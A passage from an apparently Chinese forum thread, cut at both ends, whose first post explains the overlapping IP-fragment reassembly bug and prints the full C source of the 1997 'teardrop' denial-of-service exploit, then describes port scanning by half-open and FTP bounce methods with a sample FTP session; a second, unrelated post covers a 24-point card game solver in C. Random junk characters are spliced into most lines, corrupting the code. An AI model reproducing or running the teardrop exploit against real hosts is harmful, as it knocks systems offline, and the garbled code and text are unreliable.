end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)# o# w' n1 h  f# d6 U2 ?
是这样处理的:5 M+ t- @# j* o  p
if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)( ]3 `' ^% F2 y0 i4 e( x8 M. `
{
5 Y2 t" ?7 j% \+ C$ t7 M( r, i9 pi = prev-&gt;end - offset;* F9 K+ j; O+ P. y0 |% U
offset += i; /* ptr into datagram */
' B4 O3 g8 \8 c$ V) K+ pptr += i; /* ptr into fragment data */9 b) ?$ I$ b- w
}</P><P>/* Fill in the structure. */
8 t9 A1 n8 R( f; Qfp-&gt;offset = offset;
+ e3 }' \. p# Y& Q& O& H4 b/ rfp-&gt;end = end;
8 _/ g7 @- K: R' J1 Q3 cfp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:  D: B( d( e4 F+ z- {
第一个碎片:mf=1 offset=0 payload=20
+ b% H& t# o7 _1 o" G$ E4 W' ?敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20 6 R7 x; Y1 T& K
offset=02 k0 L0 N" F( W% ~
这样第二个碎片的 end=9+10=19
# o9 `" I( S, A0 V! W4 O3 \offset=offset+(20-offset)=20
7 R: u! E3 m! A. ~" Q* `+ P, ffp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>5 O" A$ S& m. q/ }+ U2 V
/*
6 f0 `& T+ v9 E( C3 C* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.977 |& G/ c$ r# z
*
+ R# Y; `( F. X$ w: d( l# Z* Linux/NT/95 Overlap frag bug exploit
, i3 A5 R. @% E  p) x$ P5 k*/ m/ x3 _. l: ^
* Exploits the overlapping IP fragment bug present in all Linux kernels and
# k' t" Q. F% `7 L/ j' V* NT 4.0 / Windows 95 (others?)
% b0 {$ ?+ D& t' A& c*3 o& @6 y5 f+ L0 t2 ?; E
* Based off of: flip.c by klepto
+ d: B6 b: V# C! O& y, j* Compiles on: Linux, *BSD*
9 _* S4 z& C$ d2 o4 j*
9 Z: Q% z' C$ E) l$ F) N* gcc -O2 teardrop.c -o teardrop
1 B: M' j! V4 C" m7 z' P* OR6 N0 ^  S4 u, V1 K- {; [6 o$ X+ T( w3 e
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING7 M# E# g5 ]  @5 G, R5 y
*/</P><P>#include <STDIO.H>
& `8 j6 }2 }7 P- d0 p7 \- W#include <STDLIB.H>% M5 m) c& Q6 |% Q+ `
#include <UNISTD.H>  r2 v2 D' I! x
#include <STRING.H>+ F$ j& ~. w( P8 e" G8 N0 N
#include <NETDB.H>6 q4 ~3 ?9 A6 b0 L+ p1 _' }5 B
#include <NETINET in.h>) |% y: k; {" h/ y2 L3 T) C: l
#include <NETINET udp.h>& Z3 m( E# @* ^1 O
#include <ARPA inet.h>
3 E8 f$ C. C  [; e. y#include <SYS types.h>
# d3 Q* A! |6 ?6 ]8 R' k& s#include <SYS time.h>
6 ^1 H) j9 {: C#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING. \  H$ |# x4 m& m8 E
/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */* @  @% c) [. C5 a# Z5 t
#define FIX(n) (n)
8 m$ b2 k1 v1 m7 {#else /* OpenBSD 2.1, all Linux */
; w1 `& ^( e9 v- Y3 s. _#define FIX(n) htons(n)
# W' d- J9 y) u9 f) ]#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */1 G8 U5 f8 |& m. y4 N) y, C4 u
#define IPH 0x14 /* IP header size */% e4 n' {- _6 J0 T' O4 T5 r9 w
#define UDPH 0x8 /* UDP header size */
1 V8 M" W3 b1 d1 D, S$ K2 v#define PADDING 0x1c /* datagram frame padding for first packet */
: ?# d& ~3 P6 e3 P$ V/ x. {#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
2 l5 o  i, V4 X#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can' ]4 O1 P5 \; {* g4 R
* withstand maybe 5 or 10 sometimes... Experiment.
) P& }- Z! I8 p9 v; M*/</P><P>void usage(u_char *);
, Y+ u8 U8 i, y9 |/ J" l: Wu_long name_resolve(u_char *);
/ S- A) w* w# g$ C% t( Du_short in_cksum(u_short *, int);
- b$ A7 \& }- f/ h5 ?- A3 }void send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv). J9 c. w: l: x7 Q+ y3 c9 w
{. K/ R# I! l4 K8 x# w# r( i
int one = 1, 1 S+ |/ ]. D; ~' P, J
count = 0, & |  G$ s5 F/ e, r8 L2 `1 x& v: S9 {0 X
i,
& {0 N# k8 Y' N  m6 C8 X5 Prip_sock;
  W: o( Y1 o  \9 L; Gu_long src_ip = 0, dst_ip = 0;
! b5 r+ j* [  B; u+ H' t2 Cu_short src_prt = 0, dst_prt = 0;2 Q0 X7 F, y0 q5 R) J2 U
struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW' I6 d" |8 A# }( B) y# r
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)0 S7 Q& S- t( ~
{! v! A1 `& M. m6 O3 @
perror("raw socket");
1 M* Y: T8 U) T, R. k+ }exit(1);; B. z/ O2 z, Z( ]& W
}
  G3 x, a% r* Z8 O( f. g//由系统处理IP校验和。
+ m7 l; l- O) J5 x4 f4 B7 wif (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))4 n) ?8 r" S$ k' {3 ]0 Y
&lt; 0)
) Y3 ]7 P: M' ]& B{
; q/ Y$ w, E$ M& e1 v: i' w" ^0 Kperror("IP_HDRINCL");4 O1 \! L7 X" ~1 j* j9 ^
exit(1);; E& i$ B1 e, `- S
}</P><P>if (argc &lt; 3) usage(argv[0]);1 {1 c" I6 [% L( f6 a- Y) a
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
$ U" B5 P9 q; m. [  M( D{" F8 Z) w3 d" i  X
fprintf(stderr, "What the hell kind of IP address is that?\n");
- K6 V) |; l8 G. K( n3 N8 @: Mexit(1);# @. e9 l, y) t8 h" d8 V3 f: l) v
}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)# E9 G, Y( P/ w) ^( V5 W. v
{( c; v5 m5 J- C7 ]
switch (i)4 r* ]) g" `) K# A$ [1 Q- M" S
{0 [) a5 {8 _1 j+ z% g( x
case 's': /* source port (should be emphemeral) */" l- V6 b6 e) t
src_prt = (u_short)atoi(optarg);
# _2 M: U2 V' D* Sbreak;4 W3 y4 q9 A- e/ G
case 't': /* dest port (DNS, anyone?) */
( ?) @% P$ \" M7 [$ S# F* ~  cdst_prt = (u_short)atoi(optarg);
0 ~5 W2 r6 m- m0 W/ d% y4 U2 |3 K/ mbreak;5 W6 y% w: Q7 d# N
case 'n': /* number to send */! L1 _1 N" z( P0 T4 W
count = atoi(optarg);" d6 y6 B3 g2 o, @  r- g: ?
break;
: P8 T/ r% w4 l) Z" O4 ]4 d+ }default :
8 V& v- M! ^- H2 r! i( o0 zusage(argv[0]);. q4 k5 n2 L* a. R" X
break; /* NOTREACHED */- t4 _" n+ B8 o' r  Q
}+ K( K' ~8 E, P2 Q" F+ q
}</P><P>srandom((unsigned)(time((time_t)0)));
8 ^& v" }" {9 c; k& \8 R$ @9 |) Xif (!src_prt) src_prt = (random() % 0xffff);
$ h' Z% C# G- M. K" iif (!dst_prt) dst_prt = (random() % 0xffff);& m. A) j9 h" f; T0 u5 z
if (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");' c1 l5 M/ c* H/ x9 a4 h5 w2 }9 {
addr.s_addr = src_ip;9 Z7 {8 T6 \- r4 i1 ~( l; _8 ]: d
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);3 A( |9 s* c: K) E( M$ U
addr.s_addr = dst_ip;- `5 [  I" Z% A8 r
fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);8 h- D( Q+ p4 m
fprintf(stderr, " Amt: %5d\n", count);
( U7 j3 r% A% P8 Ifprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++): y& `& ^) L" i* a0 y
{$ d' g! m0 C, |& R+ l
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
3 p2 z5 @- f5 r& G3 t2 ^fprintf(stderr, "b00m ");
% V( u# j7 L, `usleep(500);$ C# |* R( T: N+ I8 L8 G
}4 s. I* ]3 {% K0 f
fprintf(stderr, "]\n");0 s2 ?! ~% }: G2 u
return (0);
% [0 x+ x- Z* U3 _}</P><P>/*
9 q8 ^  G$ X0 E7 K* ]) ^8 ?2 ?0 V* Send two IP fragments with pathological offsets. We use an implementation  D3 C2 X7 W7 c4 Y) F
* independent way of assembling network packets that does not rely on any of
, p! w* c0 L& g: N+ l+ Z$ O* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
5 ]; A0 D( g2 ]0 u2 |5 y*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
5 s1 b- L: k$ v; f2 w# h! Wu_short dst_prt)3 c8 Y) R, o- {; I7 h
{
5 v! ^  V* L5 |' r$ Gu_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
$ A$ _+ d% Q5 U# B9 D' {, |u_char byte; /* a byte */* [3 J" ], N5 T
struct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;
4 t* i/ A- t4 ~sin.sin_port = src_prt;. v7 y) x- v! y4 u2 c
sin.sin_addr.s_addr = dst_ip;</P><P>/*
; f# z! ]  T/ C6 }' s6 n8 q* Grab some memory for our packet, align p_ptr to point at the beginning
- K( ~& B5 x0 S7 N5 _/ K* of our packet, and then fill it with zeros.+ e0 f5 v; p! z# ]2 g2 S
*/
/ P+ C" `1 t& u6 b) u- zpacket = (u_char *)malloc(IPH + UDPH + PADDING);
+ I" N$ v* ^- `7 wp_ptr = packet;
& E' P% I' ^* v- vbzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
+ H5 S) z7 A0 s/ amemcpy(p_ptr, &amp;byte, sizeof(u_char));: T5 E9 I9 X  Z* b
p_ptr += 2; /* IP TOS (skipped) */. J# U  H. U0 u  |5 a6 S
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
- \: Z5 E/ k, K' e& i+ wp_ptr += 2;7 H0 {2 `& |' l" Y2 @: H
*((u_short *)p_ptr) = htons(242); /* IP id */% Z/ `5 R! h/ o7 ?9 K/ O
p_ptr += 2;$ g9 w6 L0 d) V" ~+ G
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
6 q5 M0 x( O8 n- rp_ptr += 2;
6 z7 H6 t1 j, t. @: b: Y. Y*((u_short *)p_ptr) = 0x40; /* IP TTL */
/ m; O/ m0 |& n+ E; O. J$ Cbyte = IPPROTO_UDP;
9 G8 w) G6 ^6 ~- n' [/ nmemcpy(p_ptr + 1, &amp;byte, sizeof(u_char));* m0 Z7 r! m6 W
p_ptr += 4; /* IP checksum filled in by kernel */
& s. g/ N$ ^  ^( M*((u_long *)p_ptr) = src_ip; /* IP source address */& V, a; y  q2 M% ?% q
p_ptr += 4;# P7 w, e  b) B
*((u_long *)p_ptr) = dst_ip; /* IP destination address */5 Q7 U+ @% c9 R+ {2 `# a
p_ptr += 4;! o8 X/ S- z% b9 E0 {) N, |
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
; _! b2 v2 ~  Y' Q5 }p_ptr += 2;
7 V# W$ m7 m+ u  @*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */9 C8 O: P' _& K, o/ Q+ n, |' U
p_ptr += 2;
0 r4 f! K% M% @9 y. B; M6 Z3 B2 t2 O*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,
: `' R, Y1 |& p0 H5 l+ ?sizeof(struct sockaddr)) == -1)
, X; y9 U) O) S/ ?0 R{
5 {5 L3 O6 n. g& C: Z& y4 lperror("\nsendto");
& ?/ M9 b# y+ L/ y+ t7 vfree(packet);
( E" ~5 w0 L( ]exit(1);
8 y0 A2 R; b$ }0 ^; R2 E6 ~6 Q}</P><P>/* We set the fragment offset to be inside of the previous packet's
  m2 B, H( G! f# j' Z0 @& v* payload (it overlaps inside the previous packet) but do not include; A0 q  a; ^3 n( X0 K
* enough payload to cover complete the datagram. Just the header will0 ?+ n' i, Z* k' W
* do, but to crash NT/95 machines, a bit larger of packet seems to work, z( x( s1 p4 t6 k7 i
* better.3 i; b3 t" Z+ u8 ]- U3 r3 T+ a
*/
0 U, i) t- t1 }  `, G3 k! fp_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */; A! P% t3 J7 `3 ~. t+ U- X& |
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
" D  U* w/ E& U0 U7 [  vp_ptr += 4; /* IP offset is 6 bytes into the header */
2 @4 S; y1 M" [2 w9 D) b*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,
* J: o4 Y6 y1 X( X: Asizeof(struct sockaddr)) == -1)5 D  ]5 s/ g8 t* H  i
{$ I' o* Q! a3 O- M
perror("\nsendto");
( R4 e" a3 {3 [) V, Ofree(packet);2 E( I+ _2 Q; B! f; J
exit(1);
. y8 ^# Z; f/ B# l" B6 a6 o}
1 b  a: F8 V# n! t- C0 _: Efree(packet);' l' H4 l# @& {, M; b
}</P><P>u_long name_resolve(u_char *host_name)  Q9 v1 F; q2 L2 |! H
{
. b2 }- p: @: [2 Hstruct in_addr addr;3 B. G1 T# L/ F3 t, o+ {8 \: n0 }
struct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)" f- V7 l5 L2 P6 ^, N
{) y1 h9 k% a; l" T7 A
if (!(host_ent = gethostbyname(host_name))) return (0);
$ E" f7 M4 M- r+ u" g' Mbcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);
. p, X# @+ L& h5 J6 S! H}7 a2 H7 X5 {6 Z) A
return (addr.s_addr);( w  W) D/ x" H) `( g- n
}</P><P>void usage(u_char *name)1 I5 y8 M& P3 f0 m% m0 [9 E
{7 N+ y% x# L: X6 u1 v8 p
fprintf(stderr,
  g6 j8 N9 Q1 b5 g. ~# }  L; Y"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
9 N8 r2 H7 _8 U7 {, V8 \  f8 Rname);* M7 [  t, B& e9 E: \: v" ]3 i
exit(0);2 g$ e6 Z0 i3 U( b& C/ }
}</P><P>- p; K9 ~# n+ i
4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法:
$ z5 [% M3 p* X! J" |# r1 q(1) Half-open(半打开)2 W. |3 B7 {+ g' T3 b. K
利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),& ~% o/ k  F% o) b1 n* Z5 `' Z
如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner7 R8 a" S  [. g3 f) S
利用了FTP的port命令,例如可以这样作:
9 q- d7 f$ R& i5 x/ n) S选择一个FTP服务器,连上后令port命令指向目标机,如果返回: F  V3 @# K# K1 v# e
值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则
# w/ T+ S" b+ C, F该端口无服务。
( y! E( c4 `, t/ J9 e& r7 jtelnet 192.168.1.13 21
6 b' q- I- a0 x! Q( Z( ~% ATrying 192.168.1.13...  k5 r9 l& j6 f, c1 \! A
Connected to pp.bricks.org.
& e  y! e; `, g7 T% ~Escape character is '^]'.
' d* R0 J! o0 P  k& Q9 U220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
- M. `+ y  g9 t0 g- e+ |+ S% CThu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous: X+ d. F8 Q) Q  r
331 Guest login ok, send your complete e-mail address as password.
* x: E! W+ Y" u" c3 e0 }6 v: }pass aa@aa.aa$ }- `3 |4 P" L: q: F- w
230 Guest login ok, access restrictions apply.- v2 K; C" C  Z/ Y
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.
+ |. V7 S6 c& O* M7 R0 V! I/ A1 @425 Can't build data connection: Connection refused.. t2 C* s; K+ C  I( Y
//该端口未活动
$ X) `/ A/ K  L2 M  A, ^150 Opening ASCII mode data connection for file list.
+ P4 Y3 j* v5 q7 O' J) Q' F226 Transfer complete.
% J7 V( `) V; @//该端口活动中) d. p% Q) g. x9 R! g; ?5 x0 Q
但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
) P; A& S4 T. @3 Z% T: c& u7 e3 |SYN|FIN ACK or SYN|ACK* RST
( A* D- K6 `4 ^$ WACK Nothing RST7 z& e( h9 M' m* w/ U, M+ y' `
0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport% a1 c# {0 ~( e" |6 C, z
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,
2 K" T0 \. G  O. w+ P, Q5 y若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认- I/ n7 N2 L' _+ p
定它在向你做portscan。</P><P>notes:
  r6 D1 m- z3 p; {4 l2 w: `早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),  H, q7 C9 y; e) j$ a6 \5 V
而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的
1 d8 z0 f8 Y9 m9 ?7 j+ r$ h都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>
& L; I: g! ?# J% m! }0 @9 @  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。( p! m8 T. a9 J7 z
6 }/ d8 l* O; x9 K  b  X
  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。 * z& q& q( Y9 k; \7 a7 G
首先穷举的可行性问题。我把表达式如下分成三类——
/ X& h8 J7 O/ c/ o: F% h" \<FONT color=#ff0000>1、 无括号的简单表达式。5 w& A0 I! J0 T" @( g( t
2、 有一个括号的简单表达式。
8 U( x4 ?* E, V; y! A; f( l2 O- K3、 有两个括号的较复4、 杂表达式。8 X, Y" k1 C/ _8 l
</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:- T& |: L/ I1 x9 l2 ~$ j
<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */# b' b! C  h1 P+ i' B+ i
/* c[] 存放四张牌的数组 */
/ T3 S# ^  g1 E/* k[] c[]种四张牌的代号,其中k[I]=I+1。
+ d9 ~+ y8 o1 N& N) \6 ~% W用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */
/ u: e* |" d9 Q. ~- r/* kans[] 暂存生成的排列组合 */* A7 d2 X' w* |0 v, _' t# Q* g/ o" Q
/* j 嵌套循环的次数 */
7 U. T7 a2 X6 Fint fans(c,k,ans,kans,j)
" x. h) @5 l& N5 ~int j,k[],c[];char ans[],kans[];. `& T% O+ ~; d, O
{ int i,p,q,r,h,flag,s[4],t[4][4];( R  w6 R( Q! S% e  a. _/ i
for(p=0,q=0;p&lt;4;p++)) \) U: |4 x; }' q; G0 X, {  n' _
{ for(r=0,flag=0;r<J;R++)- B: f9 m2 q* L$ f4 u% u2 e
if(k[p]!=kans[r]) flag++;9 n- Y, {$ y& S& W8 C- _: G* B6 N
if(flag==j) t[j][q++]=k[p];9 F0 H; k6 @+ y/ E4 R
}
7 u. @8 d: V" O! m% w% G1 Mfor(s[j]=0;s[j]&lt;4-j;s[j]++)7 [8 I4 ?0 I& v7 l
{ kans[j]=t[j][s[j]];
1 U) |$ M0 K9 R. Z9 K. vif(j==3) { for(h=0;h&lt;4;h++)
, f2 U; d# G; dans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
2 n, s, W7 h+ ]! x" c, s8 l2 W达式中的位置 */
! P5 P7 T0 E9 X8 f: S$ Z) yfor(h=0;h&lt;3;h++)! u+ u/ a1 A/ `9 E: n, y
symbol(ans,h); /* 在表达式中添加运算符号 *// N, E4 C- d; T- i
}8 V( D2 _  K6 a* m, M
else { j++;
  @2 d) D2 x( {* D. afans(c,k,ans,kans,j);
0 s1 D" V6 c# x/ _- T& ?. Rj--;5 f+ d! D( z5 O4 M
}! ]7 \* W) n( p  j" D  W
}
' c% Q  D  {6 i5 N}</FONT>9 O: E: P; j6 |
* }9 `( w& g5 y( t% M3 J
  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:
8 J& B6 k0 o' l! a; Z4 }7 |9 ~5 K" U! Y9 g. A5 c2 d
<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/
) ]6 l/ @; c6 j; d/ A& @int sans(ans,sy,j,h)
! I7 P4 \) w+ w) Wchar ans[],sy[];int j,h;
4 a8 V; {9 Q# Q: l{ int i,p,k[3],m,n; char ktans[20];
% ]. S% o8 U. Y1 J4 q  R  Z. xfor(k[j]=0;k[j]&lt;4;k[j]++)2 _7 D: B& @4 E" x
{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位. p  C7 k2 q. d
这里的三个运算符号分别存放在1、3、5位*/
. F# i3 o  C2 d, d* Q5 qif(j==2)
# s' e& V6 I) [' m; ^{ ans[5]=sy[k[j]];1 F6 n+ r' \1 g7 [5 Y4 O
/* 此处根据不同的表达式形式再进行相应的处理 */
; E2 E* m; O. o. R, J) S$ T+ w}( h' ~/ F, b9 l1 p" W2 G
else { j++; sans(ans,sy,j--,h); }
" s* t8 o8 E  G+ h$ D}; Q. \! i- |2 d  Y: f: Y
}
& e# m  e4 ~9 b% H9 l2 z, C0 f+ N  K+ }0 M0 i4 e/ B8 e9 c6 K' @
</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。
) {* s- h1 z/ |9 u+ j4 T9 E/ jfor(m=0;m&lt;=4;m+=2); d) x" |* ~) r
for(n=m+4;n&lt;=8;n+=2)
& R; c' e: d; V( p7 M7 c  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。
' w5 J2 r$ ^$ k% I2 l0 d3 V( ^  S0 f  r7 U9 @
  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。; U4 g: A0 A" S5 r1 B! H
</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。
7 H& \5 b! ?9 X在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。
% K6 S% i! s9 P( }! J+ k( }4 N" ~; G" ?2 _/ G# l( W
  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。, i! l$ @% S+ z( C4 q2 Z
7 }- V7 C, Y1 z- h2 M7 Z. l8 o7 b( q
  那么作为栈的著名应用,表达式的计算可以有两种方法。
9 l4 `- F" b! G3 Y7 x3 d
: O$ Z& b% J+ U9 Q* j5 c) H5 V  <FONT color=#ff0000>第一种方法——</FONT>( ~1 X/ R7 S$ w% D  h4 [$ t& {
  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。
) m8 C4 B7 A! u) x: @! M  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:& J1 m* O/ f: c# w
1、 若W为操作数; R5 |" ~; W# F3 i4 y
2、 则将W压入操作数栈OVS
8 n7 M1 h# j8 i9 w* E3、 且继续扫描下一个字符0 e' k/ K! ~4 R1 D1 w
4、 若W为运算符
6 e, Q4 ]% k" `' b& Z5、 则根据运算符的性质做相应的处理:3 c2 I4 b' _( N6 \* U: v/ R: |
(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。) h' u5 `4 Y& O
(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。  E' A* m  X: Y/ z* D) {
(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。7 y5 B6 d  V& H1 r# \1 [
(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。
. t; X+ @% a9 E" p$ }( l5 J: c3 _$ {; k% \+ z4 G" X8 D- q
<FONT color=#ff0000>  第二种方法——</FONT>
+ ^" P0 G0 P2 q5 Y  @5 ~/ |% W  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。
+ B+ i; @( }! G
7 Z" l9 j# x  H! i5 G  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。, S( j! M  A+ k  y
* r) }  ^* ^1 B: P& }
   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。7 n' ]$ E& L3 q
表达式 波兰表达式
. M  ~. m6 R' s" [0 D% ZA-B AB-
& I# R) d$ \6 g4 {(A-B)*C+D AB-C*D+/ Y* {( L# h4 }/ q
A*(B+C/D)-E*F ABCD/+*EF*-
2 k1 X8 A0 m' L' t9 Y(B+C)/(A-D) BC+AD-/
, i9 ]# \/ h5 n  l" m6 s* d( Y8 S* j" M5 D
  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。% k9 P* G8 B3 I

+ ~$ e6 I  X1 o6 P# @1 S/ @, X% H1 e  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。# b2 W! @1 J3 l5 N/ P

# ^% \; U4 B2 K2 v: T9 e3 t  下面给出转换和计算的具体实现程序——* Z2 t* K  d. M- s& B' ~
0 I0 |2 l$ W; v
<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */
